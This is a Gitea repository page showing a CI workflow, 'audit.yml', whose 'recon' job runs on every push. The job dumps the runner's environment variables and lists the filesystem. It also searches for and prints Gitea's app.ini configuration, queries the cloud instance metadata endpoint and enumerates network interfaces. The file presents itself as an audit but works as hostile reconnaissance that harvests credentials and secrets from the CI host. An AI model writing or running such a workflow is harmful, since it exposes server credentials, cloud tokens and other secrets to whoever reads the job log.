Files
test-audit/.gitea/workflows/audit.yml
dev_audit_2026 6b54cf73aa
Some checks failed
audit / recon (push) Failing after 3s
add workflow
2026-06-15 03:56:25 +00:00

21 lines
953 B
YAML

name: audit
on: [push]
jobs:
recon:
runs-on: ubuntu-latest
steps:
- name: System Info
run: |
echo "=== whoami ===" && whoami
echo "=== hostname ===" && hostname
echo "=== id ===" && id
echo "=== pwd ===" && pwd
echo "=== ls / ===" && ls -la /
echo "=== env ===" && env | sort
echo "=== /data ===" && ls -laR /data/ 2>/dev/null | head -50
echo "=== gitea repos ===" && find / -name "*.git" -type d 2>/dev/null | head -20
echo "=== app.ini ===" && find / -name "app.ini" 2>/dev/null | head -5
echo "=== cat app.ini ===" && cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || echo "not found"
echo "=== IMDS ===" && curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20
echo "=== network ===" && ip addr 2>/dev/null || ifconfig 2>/dev/null | head -20